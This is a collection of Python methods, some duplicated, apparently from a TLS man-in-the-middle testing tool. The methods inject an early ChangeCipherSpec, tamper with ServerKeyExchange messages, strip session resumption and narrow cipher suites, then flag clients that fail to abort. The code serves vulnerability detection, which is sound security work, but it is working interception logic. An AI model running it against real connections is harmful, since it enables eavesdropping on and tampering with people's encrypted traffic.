def _inject_ccs(self, record, hello_message_index): """Inject an early CCS while preserving the rest of the data.""" version = record.version ccs = TlsRecord( TlsRecord.CONTENT_TYPE.CHANGE_CIPHER_SPEC, version, [tls.types.ChangeCipherSpec(1)]) rec = TlsRecord( TlsRecord.CONTENT_TYPE.HANDSHAKE, version, record.messages[:hello_message_index + 1]) # Split the record if there are more messages after the ServerHello. remaining = record.messages[hello_message_index + 1:] if remaining: rest = TlsRecord( TlsRecord.CONTENT_TYPE.HANDSHAKE, version, remaining).to_bytes() else: rest = "" return rec.to_bytes() + ccs.to_bytes() + rest
def on_response(self, response): if not self.ssl or self.bridge or self.injected_server: return response response = self.buffer + response self.buffer = "" try: index = 0 while index < len(response): record, size = TlsRecord.from_stream(response[index:]) version = record.version for i, message in enumerate(record.messages): # Inject the CCS right after the ServerHello if (isinstance(message, tls.types.HandshakeMessage) and message.type == HandshakeMessage.TYPE.SERVER_HELLO): response = (response[:index] + self._inject_ccs(record, i) + response[index+size:]) self.injected_server = True return response index += size except ValueError: # Failed to parse TLS, this is probably due to a short read of a TLS # record. Buffer the response to try and get more data. self.buffer = response # But don't buffer too much, give up after 16k. if len(self.buffer) > 2**14: response = self.buffer self.buffer = "" return self.buffer return "" return response
def on_response(self, response): if not self.ssl or self.signature_tampered: return response response = self.buffer + response self.buffer = "" # Tamper with the ServerKeyExchange message. try: index = 0 while index < len(response): record, size = TlsRecord.from_stream(response[index:]) version = record.version for i, message in enumerate(record.messages): if (isinstance(message, HandshakeMessage) and (message.type == HandshakeMessage.TYPE.SERVER_KEY_EXCHANGE)): tampered_record_bytes = ( self._tamper_with_server_key_exchange(record, i)) response = (response[:index] + tampered_record_bytes + response[index + size:]) self.signature_tampered = True return response index += size except ValueError: # Failed to parse TLS, this is probably due to a short read of a TLS # record. Buffer the response to try and get more data. self.buffer = response # But don't buffer too much, give up after 16k. if len(self.buffer) > 2**14: response = self.buffer self.buffer = "" return self.buffer return "" return response
def on_request(self, request): if not self.ssl or self.bridge: return request try: record, size = TlsRecord.from_stream(request) message = record.messages[0] if not self.clienthello_handled: self.clienthello_handled = True hello = message.obj # Force a full handshake by preventing session resumption by emptying # session ID and SessionTicket extension. Otherwise a CCS will follow # a ServerHello normally. hello.session_id = [] for ext in hello.extension_list: if ext.type == Extension.TYPE.SESSIONTICKET: ext.raw_data = [] return record.to_bytes() if self.injected_server: # OpenSSL after the EarlyCCS fix should send a fatal alert # unexpected_message (10). Some other libraries send a close_notify (0) # so we accept that as well. Morever, if the client doesn't like the TLS # protocol version chosen by the server (regardless of whether early # CCS is injected), the client will send a fatal alert # protocol_version (70). if not ( isinstance(message, tls.types.Alert) and ((message.description == Alert.DESCRIPTION.UNEXPECTED_MESSAGE and message.level == Alert.LEVEL.FATAL) or (message.description == Alert.DESCRIPTION.PROTOCOL_VERSION and message.level == Alert.LEVEL.FATAL) or message.description == Alert.DESCRIPTION.CLOSE_NOTIFY)): self.log( logging.CRITICAL, "Client is vulnerable to Early CCS attack!") self.connection.vuln_notify(util.vuln.VULN_EARLY_CCS) self.log_attack_event() self.connection.close() else: self.log( logging.DEBUG, "Client not vulnerable to early CCS") self.log_attack_event(success=False) except ValueError: # Failed to parse TLS, this is probably due to a short read of a TLS # record. pass return request
def on_request(self, request): if not self.ssl: return request try: record, size = TlsRecord.from_stream(request) message = record.messages[0] if not self.clienthello_adjusted: self.clienthello_adjusted = True hello = message.obj # Force a full handshake (and thus a key exchange) by preventing # session resumption by clearing session ID and SessionTicket. hello.session_id = [] for ext in hello.extension_list: if ext.type == Extension.TYPE.SESSIONTICKET: ext.raw_data = [] # Retain in ClientHello only cipher suites which require the # server to send a ServerKeyExchange message: emphemeral (EC)DH # and RSA_EXPORT cipher suites. Also retain pseudo/signalling # cipher suites because they don't affect this attack/test. hello.ciphers = [c for c in hello.ciphers if ("_DHE_" in str(c) or "_ECDHE_" in str(c) or "_RSA_EXPORT_" in str(c) or str(c).endswith("_SCSV"))] return record.to_bytes() if self.signature_tampered: # The client MUST reply with an alert and close the connection. # Just closing the connection is also acceptable. if not self.first_alert_received_after_tampering: if isinstance(message, Alert): self.first_alert_received_after_tampering = message return request self.vuln_detected = True self.log( logging.CRITICAL, ("Client is vulnerable to server key substitution" " attack! Client reply: %s" % str(message))) self.connection.vuln_notify( util.vuln.VULN_TLS_SERVER_KEY_REPLACEMENT) self.log_attack_event() self.connection.close() return request except ValueError: # Failed to parse TLS, this is probably due to a short read of a TLS # record. pass return request
def on_request(self, request): if not self.ssl: return request try: record, size = TlsRecord.from_stream(request) message = record.messages[0] if not self.clienthello_adjusted: self.clienthello_adjusted = True hello = message.obj # Force a full handshake (and thus a key exchange) by preventing # session resumption by clearing session ID and SessionTicket. hello.session_id = [] for ext in hello.extension_list: if ext.type == Extension.TYPE.SESSIONTICKET: ext.raw_data = [] # Retain in ClientHello only cipher suites which require the # server to send a ServerKeyExchange message: emphemeral (EC)DH # and RSA_EXPORT cipher suites. Also retain pseudo/signalling # cipher suites because they don't affect this attack/test. hello.ciphers = [ c for c in hello.ciphers if ("_DHE_" in str(c) or "_ECDHE_" in str(c) or "_RSA_EXPORT_" in str(c) or str(c).endswith("_SCSV")) ] return record.to_bytes() if self.signature_tampered: # The client MUST reply with an alert and close the connection. # Just closing the connection is also acceptable. if not self.first_alert_received_after_tampering: if isinstance(message, Alert): self.first_alert_received_after_tampering = message return request self.vuln_detected = True self.log(logging.CRITICAL, ("Client is vulnerable to server key substitution" " attack! Client reply: %s" % str(message))) self.connection.vuln_notify( util.vuln.VULN_TLS_SERVER_KEY_REPLACEMENT) self.log_attack_event() self.connection.close() return request except ValueError: # Failed to parse TLS, this is probably due to a short read of a TLS # record. pass return request
def on_response(self, response): if not self.ssl or self.signature_tampered: return response response = self.buffer + response self.buffer = "" # Tamper with the ServerKeyExchange message. try: index = 0 while index < len(response): record, size = TlsRecord.from_stream(response[index:]) version = record.version for i, message in enumerate(record.messages): if (isinstance(message, HandshakeMessage) and (message.type == HandshakeMessage.TYPE.SERVER_KEY_EXCHANGE)): tampered_record_bytes = ( self._tamper_with_server_key_exchange(record, i)) response = (response[:index] + tampered_record_bytes + response[index+size:]) self.signature_tampered = True return response index += size except ValueError: # Failed to parse TLS, this is probably due to a short read of a TLS # record. Buffer the response to try and get more data. self.buffer = response # But don't buffer too much, give up after 16k. if len(self.buffer) > 2**14: response = self.buffer self.buffer = "" return self.buffer return "" return response